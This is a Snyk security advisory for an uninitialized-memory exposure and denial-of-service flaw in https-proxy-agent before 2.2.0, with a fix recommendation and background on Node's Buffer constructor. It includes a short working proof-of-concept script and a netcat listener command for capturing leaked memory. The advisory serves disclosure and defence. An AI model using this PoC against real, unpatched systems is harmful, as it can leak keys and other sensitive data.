Uninitialized Memory Exposure Affecting https-proxy-agent package, versions <2.2.0


0.0
high

Snyk CVSS

    Attack Complexity Low
    Availability High

    Threat Intelligence

    Exploit Maturity Mature
    EPSS 0.66% (80th percentile)
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NVD
9.1 critical
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Red Hat
8.2 high

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  • Snyk ID npm:https-proxy-agent:20180402
  • published 8 Apr 2018
  • disclosed 2 Apr 2018
  • credit ChALkeR

How to fix?

Upgrade https-proxy-agent to version 2.2.0 or higher. Note This is vulnerable only for Node <=4

Overview

https-proxy-agent provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.

Affected versions of this package are vulnerable to Uninitialized Memory Exposure and Denial of Service (DoS) attacks due to passing unsanitized options to Buffer(arg).

Note: CVE-2018-3739 is a duplicate of CVE-2018-3736.

Uninitialized memory Exposre PoC by ChALKer

// listen with: nc -l -p 8080

var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');

var proxy = {
  protocol: 'http:',
  host: "127.0.0.1",
  port: 8080
};

proxy.auth = 500; // a number as 'auth'
var opts = url.parse('https://example.com/');
var agent = new HttpsProxyAgent(proxy);
opts.agent = agent;
https.get(opts);

Details

The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.

const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream. When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.

References